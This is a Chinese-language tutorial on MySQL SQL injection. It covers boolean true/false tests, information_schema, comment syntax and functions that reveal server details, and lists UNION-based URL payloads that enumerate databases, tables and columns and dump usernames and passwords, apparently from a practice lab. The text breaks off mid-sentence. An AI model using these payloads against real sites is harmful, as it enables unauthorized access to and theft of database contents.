SQL注入就是web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并参数带入数据库查询,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作
SQL注入需要满足两个条件:
传入的ID参数为1’时,数据库执行代码如下:
select * from users where id =1'
这条语句不符合数据库的规范,所以会报错。
传入的ID参数为and 1=1 时,数据库执行代码如下:
select * from users where id =1 and 1=1
因为1=1的条件为真,并且where语句中id=1 也为真。所以放回的结果与id=1相同
传入的ID参数为and 1=2 时,数据库执行代码如下:
select * from users where id =1 and 1=2
因为1=2的条件为假,所以放回的结果与id=1不相同
所以,用上述所用的方法进行简单sql漏洞存在测试。
在MySQL5.0版本后,MySQL默认在数据库中存放一个“information_schema”的数据库,在该库中,我们只需要记住三个表名即可:schemata、tables、columns
数据库名:table_schema 表名 : table_name 字段名:column_name
mysql 查询语句简单用法
在不知道任何条件的情况下,查询语句如下:
select 要查询的字段名 from 库名.表名
例如:
select username from sql.user
在知道一条已知条件下,查询语句如下:
select 要查询的字段名 from 库名.表名 where 已知条件的字段名='已知条件的值'
在知道两条已知条件下,查询语句如下:
select 要查询的字段名 from 库名.表名 where 已知条件1的字段名='已知条件1的值'
and 已知条件2的字段名='已知条件2的值'
limit的用法:
limit的使用格式为limit m,n, 其中m是指记录开始的位置,从0开始,表示第一条记录;n是指取n条记录。例如limit 0,1 表示从第一天记录开始,取一条记录。
注释符:
在MySQL中,常见注释符的表示方式为:
# 或--空格或/**/
内联注释
内联注释的形式 :
/*!code*/
内联注释可以用于整个sql语句中,用来执行我们的sql语句,下面举一个例子
index.php?id=-15 /*!UNION*/ 1,2,3
开始搜集数据库中的数据,常见的信息搜集有:
system_user() 系统用户名
user() MYSQL用户名
current_user() 当前用户名
session_user() 连接数据库的用户名
database() 当前数据库名
schema() 当前数据库名
version() 当前数据库版本信息
@@version
load_file() MYSQL读取本地文件
into outfile 或者 into dumpfile 导出函数
@@datadir Location of DB files
@@hostname 服务器主机名
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统
简单的测试一下常见的信息
# 查询数据库名
?id=0' union select 1, database(), 3%23
# 查询数据库版本
?id=0' union select 1, version(), 3%23
# 查询数据库用户
?id=0' union select 1, user(), 3%23
#数据库路径
?id=0' union select 1, @@datadir, 3%23
# 操作系统版本
?id=0' union select 1, @@version_compile_os, 3%23
# 查询所有的数据库名
# SELECT GROUP_CONCAT(schema_name) FROM information_schema.SCHEMATA
id=0' union select 1, 2, group_concat(schema_name) from information_schema.schemata%23
# 查询某个数据库的数据表名
# SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()
?id=0' union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema=database() --+
?id=0' union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema='security' --+
?id=0' union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+ # hex编码
# 查询某个数据库的某个表的字段名
# SELECT GROUP_CONCAT(column_name) FROM information_schema.columns where table_schema='security' and table_name='users'
?id=0' union SELECT 1, 2, GROUP_CONCAT(column_name) FROM information_schema.columns where table_schema='security' and table_name='users' --+
# 查询数据表的数据
?id=0' union select 1, 2, group_concat(id, username, password) from security.users --+
#有时候只会回显一个数据
需要将
?id=1'
改成
?id=0' 或者 -1
联合查询注入是回显注入的一种,也可以说联合注入的前提是,页面上要有回显位, 在一个网站的正常页面,服务端执行SQL语句查询数据库中的数据,客户端将数据展示在页面中,这个展示数据的位置就叫回显位。
(1